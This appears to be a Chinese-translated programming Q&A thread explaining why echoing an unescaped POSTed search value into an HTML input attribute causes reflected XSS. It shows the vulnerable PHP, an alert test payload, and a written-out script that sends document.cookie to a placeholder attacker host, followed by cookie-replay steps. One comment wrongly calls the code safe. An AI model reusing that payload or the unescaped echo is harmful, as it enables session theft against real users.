【问题标题】:Why printing the posted variable to the html code could lead to XSS?为什么将发布的变量打印到 html 代码会导致 XSS?
【发布时间】:2026-01-27 18:50:01
【问题描述】:

我有一个搜索表单:

<form method="POST"> 
    <input type="search" name="q">
    <input type="submit" value="Search" name="search">
</form>

然后在 PHP 文件中:

if( isset($_POST['q']) ){

    //Assigning the posted query to a variable.
    $query = $_POST['q'];

    //Get matches from the DB.
    $stmt = $conn->prepare('SELECT * FROM posts WHERE title OR description LIKE  :s');
    $stmt->bindValue(':s', '%' . $query . '%', PDO::PARAM_STR);
    $stmt->execute();
    $count = $stmt->rowCount();

    //if there are matches.
    if($count > 0){

        //Get the matches.
        $matches = $stmt->fetchAll();
        foreach($posts as $post){
             //Do Something.
        }
    }
}

现在我想一切都很好,为什么如果我执行以下操作:

<input type="search" value="<?php if(isset($_POST['q'])){echo $_POST['q'];} ?>" name="q">

或者:

 <input type="search" value="<?php if(isset($query)){echo $query;} ?>" name="q">

这会导致攻击吗?

【问题讨论】:

  • 不,这是完全可以接受的。您所做的就是回显访问者发布的值。换句话说:访问者取回发送的内容。它永远不会触及您的数据库(在您提供的最后两行代码中)。
  • 奇怪的是没有其他人反应。好吧,让我这么说吧:我不喜欢 PHP 在属性值字符串中。基本上,您在输入标记内有一个 PHP 标记。这看起来很奇怪。你也没有逃避你插入的东西。所以你最终可能会得到损坏的 HTML。
  • 如果用户把它放在你最后给定代码的输入中怎么办? :"&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;当然是脆弱的
  • @MobinF.R.G,这和我的意思完全一样,有人用同样的东西回答了我之前的问题
  • @MobinF.R.G,在这种情况下,该警报不会仅针对该用户显示吗?

标签: php html mysql security pdo


【解决方案1】:

攻击者可以使用 XSS 向毫无戒心的用户发送恶意脚本。

例如,攻击者可以在他的网站上创建一个表单,该表单被重定向到您的地址,其中包含以下内容:

<input type="search" value="<?php if(isset($_POST['q'])){echo $_POST['q'];} ?>" name="q">

通过使用这种方法,攻击者可以做一些简单但危险的事情。

最危险的事情之一是((复制和使用目标用户的cookie))。这意味着攻击者可以在他的表单中输入这个作为默认值:

"><script>document.location='http://Hacker'sDomain.com/cookiestealer.php?cookie='+document.cookie;</script>

如您所见,黑客可以轻松保存目标用户的 cookie...

现在黑客有了用户的cookie(假设用户已经登录)。所以他可以很容易地把它放在他的浏览器控制台中并以目标用户的身份登录!!:

document.cookie="Stealed Cookie Here!";

为了更好地理解,您可以通过在浏览器控制台中执行 document.cookie 来复制您的 cookie,然后通过执行以下命令将其粘贴到另一个浏览器或 PC:document.cookie="Put the copied cookie here"

请注意,每个网站保存的 cookie 以及您每次登录的时间都不同,所以这很难,黑客需要一点机会来做到这一点:)

P.S:您可以按 F12 访问浏览器的控制台。


如果你想让我用更多代码解释更多,请在 cmets 中说 :)

【讨论】:

  • 所以你的意思是他会发送类似'mywebsite.com/…>"'的东西,当用户去那里时,cookies会被盗
  • 他不能像http://mywebsite,com/s=&lt;script&gt;document.location='http://Hacker'sDomain.com/cookiestealer.php?cookie='+document.cookie;&lt;/script&gt;那样在我的网站上运行Javascript吗?
  • s 参数没有退出的地方,或者类似http://mywebsite.com/&lt;script&gt;Code Here&lt;/script&gt;的地方
  • @Dan 不,除非您拥有该页面,否则这是不可能的。在这种情况下(您的问题),进行 XSS 攻击的唯一方法是向目标用户提供链接并窃取他的 cookie。像这样=> Link given to user -&gt; User goes to hacker's link -&gt; The hacker's from auto submits and redirects to your website -&gt; The XSS code will be executed -&gt; user will be redirected to hacker's website but this time the hacker steals the cookie and can use the stolen cookie in many ways
  • 所以我应该使用htmlspecialchars();?还是有更好的方法?
最近更新 更多